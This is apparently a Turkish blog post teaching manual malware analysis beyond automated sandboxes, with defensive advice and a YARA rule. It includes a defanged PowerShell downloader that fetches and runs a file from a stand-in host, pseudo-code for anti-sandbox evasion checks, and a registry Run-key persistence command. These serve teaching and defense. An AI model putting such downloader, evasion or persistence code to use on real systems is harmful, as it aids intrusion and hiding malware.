Kum Havuzunda Oynamayı Bırakın: Zararlı Yazılım Analizinde Gerçeklerle

Otomatik sandbox araçlarına güvenip 'temiz' raporu alanlar, yarın sistemlerinde o sessiz misafiri ağırlamaya mahkumdur. Gelin, malware analizinin mutfağına girelim.

Kum Havuzunda Oynamayı Bırakın: Zararlı Yazılım Analizinde Gerçeklerle Yüzleşme

Herkesin dilinde bir Any.Run, bir Hybrid Analysis... Dosyayı sürükle, beş dakika bekle, çıkan grafiğe bakıp "Tamam dostum bu temiz" de. Kusura bakmayın ama bu yaklaşımla siber güvenlik uzmanı değil, sadece 'interaktif rapor okuyucusu' olursunuz. Sektördeki bu otomatizasyon çılgınlığı bizi tembelleştiriyor. Prod ortamında, gerçekten gelişmiş bir APT (Advanced Persistent Threat) aktörünün yazdığı zararlıyı bu sitelere yüklemek sadece güvenliğinizi tehlikeye atmakla kalmaz, aynı zamanda o zararlıyı yazan kişiye "Hey, seni fark ettik!" diye sinyal göndermektir. Gerçek bir Red Teamer veya malware analisti, o 'kum havuzlarının' (sandbox) ne kadar kolay atlatılabildiğini bilir.

Bugün sizinle, o cafcaflı web arayüzlerinin arkasındaki gerçek dünyayı, testCompany laboratuvarımızda karşılaştığımız vakalardan esinlenerek konuşacağız. Hazırsanız, kahvenizi alın ve o otomatik araçları bir kenara bırakın.

1. Statik Analiz: Düşmanı Kıyafetinden Tanımak

Statik analiz, zararlı kodun bir kez bile çalıştırılmadan incelenmesi sanatıdır. Çoğu kişi strings komutunu çalıştırıp IP adresi arar ve orada durur. Ama modern zararlılar artık o kadar saf değil.

Bir PE (Portable Executable) dosyasını açtığımızda ilk bakmamız gereken şey 'Entropy' (Entropi) değeridir. Eğer bir dosyanın entropisi 7.5'in üzerindeyse, bilin ki o dosya ya paketlenmiştir (packed) ya da şifrelenmiştir. Kimse tertemiz bir 'Hello World' uygulamasını şifrelemez.

Örneğin, testCompany içindeki bir analizde karşımıza çıkan şu sahte PowerShell betiğine bakalım (zararsızlaştırılmıştır):

# Defanged/Zararsızlaştırılmış Örnek
$a = "hXXp://evil-site[dot]com/"
$b = "s.exe"
$c = $env:temp + "\" + $b
# Gerçek bir malware burada base64 veya xor kullanır
# Invoke-WebRequest -Uri ($a + "payload") -OutFile $c
# Start-Process $c

Statik analizde bu base64 kısımları çözmek (de-obfuscation) ilk adımdır. Ama dikkat! Sadece koda bakmak bazen yanıltıcı olabilir. Import tablolarına bakın. Eğer bir dosya sadece GetProcAddress ve LoadLibrary fonksiyonlarını import ediyorsa, o dosya çalışma anında başka kütüphaneleri hafızaya yükleyecek demektir. Bu, tipik bir 'loader' davranışıdır.

2. Kum Havuzunu Kandırmak: Anti-Analysis Teknikleri

İşte en sevdiğim kısım. Zararlı yazılım geliştiricileri de bizim kadar akıllı (bazen daha bile fazla). Bir malware, çalıştığı ortamın bir analiz laboratuvarı olup olmadığını nasıl anlar?

Şu basit C++ mantığına (pseudo-code) bir göz atın:

// Anti-VM ve Anti-Sandbox Mantığı
void check_environment() {
    // RAM miktarını kontrol et. Sandboxlar genelde 4GB altı verir.
    if (get_total_ram() < 4096) { exit(0); }

    // Çekirdek sayısına bak. Kim 1 CPU'lu makinede prod çalıştırır?
    if (get_cpu_cores() < 2) { exit(0); }

    // Dosya yolunu kontrol et. 'sample.exe' veya 'malware.exe' mi?
    if (strstr(get_filename(), "sample.exe")) { exit(0); }

    // Fare hareket etti mi? Sandboxlar genelde fareyi oynatmaz.
    if (!check_mouse_movement()) { exit(0); }
}

Bu kod parçası, eğer sistem bir 'sandbox' gibiyse kendini kapatıyor veya bambaşka, zararsız bir işlem yapmaya başlıyor (örneğin hesap makinesini açıyor). Analist de raporuna "Temiz, sadece hesap makinesi açtı" yazıyor. İşte o meşhur 'yanlış güven hissi' (false sense of security) tam burada başlıyor.

3. Dinamik Analiz: Operasyon Başlıyor

Dinamik analizde dosyayı kontrollü bir ortamda çalıştırırız. Ama bunu Any.Run üzerinde değil, tamamen izole edilmiş, internet çıkışı olmayan veya 'fake-net' kurulu bir sanal makinede yapmalısınız.

Kullanmanız gereken temel araçlar şunlardır:

Process Monitor (ProcMon): Dosya sistemi, kayıt defteri ve ağ aktivitelerini anlık izler.
Wireshark / FakeNet-NG: Malware'in nereye 'call back' yapmaya çalıştığını gösterir.
x64dbg: Kodun içine girip, o yukarıda bahsettiğim 'exit(0)' kontrollerini 'nop' (No Operation) ile geçmenizi sağlar.

Örnek bir senaryoda, zararlının kayıt defterine (registry) kendini yazdığını görürüz:

# Zararlının persistence (kalıcılık) sağlama komutu örneği
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\testUser\AppData\Local\Temp\update.exe"

Eğer bu satırı ProcMon'da görüyorsanız, artık elinizde bir 'Indicator of Compromise' (IoC) var demektir. Hemen tüm SIEM loglarınızda bu kayıt defteri anahtarını taratmalısınız.

4. Gelişmiş Kaçınma: API Hashing ve Obfuscation

Modern zararlılar, antivirüslerin (AV) ve EDR sistemlerinin API çağrılarını izlediğini bilir. Bu yüzden CreateRemoteThread gibi "şüpheli" fonksiyonları doğrudan çağırmazlar. Bunun yerine API Hashing kullanırlar. Yani fonksiyonun adını değil, o ismin hash karşılığını saklarlar.

Analist olarak karşınıza şöyle bir şey çıkabilir: call dword ptr [ebp-0x4] // aslında bu CreateProcess'e gidiyor olabilir

Burada işin içine 'Reverse Engineering' (Tersine Mühendislik) giriyor. IDA Pro veya Ghidra kullanarak o hash değerinin hangi fonksiyona denk geldiğini bulmanız gerekir. testCompany içerisinde yaptığımız çalışmalarda, bu tür gizlenmiş fonksiyonları bulmak için özel scriptler kullanıyoruz. Otomatik araçlar burada genellikle havlu atar.

5. Ne Yapmalı? Savunma Stratejileri

Analizi yaptık, peki bu bilgiyi nasıl savunmaya dönüştüreceğiz?

Sıkılaştırma (Hardening): Zararlının kullandığı powershell.exe, certutil.exe, vssadmin.exe gibi araçların standart kullanıcılar tarafından çalıştırılmasını kısıtlayın. (LOLBins - Living Off The Land Binaries).
Davranışsal Analiz: Sadece dosya hash'ine (MD5/SHA256) güvenmeyin. Hash saniyeler içinde değişebilir. Bunun yerine "Bir Word dosyası neden PowerShell çalıştırıyor?" gibi davranışlara odaklanan EDR kuralları yazın.
Yara Kuralları: Analiz ettiğiniz her malware için bir YARA kuralı yazın. Bu, sadece o dosyayı değil, benzer mantıkla çalışan gelecekteki zararlıları da yakalamanızı sağlar.

rule suspicious_powershell_download {
    strings:
        $s1 = "Net.WebClient"
        $s2 = "DownloadString"
        $s3 = "hXXp"
    condition:
        all of them
}

Kapanış Notu

Zararlı yazılım analizi, bir kedi-fare oyunudur. Fare (malware) her zaman bir delik bulmaya çalışır, kedi (analist) ise o delikleri önceden bilmelidir. Otomatik araçlar sadece size zaman kazandırır, ancak analizi sizin yerinize yapmazlar. Eğer gerçekten bu işi öğrenmek istiyorsanız, o dosyayı manuel olarak disassemble etmeli, debug ortamında adım adım (step-over) ilerlemeli ve zararlının neden o kararı verdiğini anlamalısınız.

Unutmayın; en iyi sandbox sizin beyninizdir. Onu güncel tutun.

Bir sonraki teknik derinlikte görüşmek üzere, güvende kalın!

Kum Havuzunda Oynamayı Bırakın: Zararlı Yazılım Analizinde Gerçeklerle Yüzleşme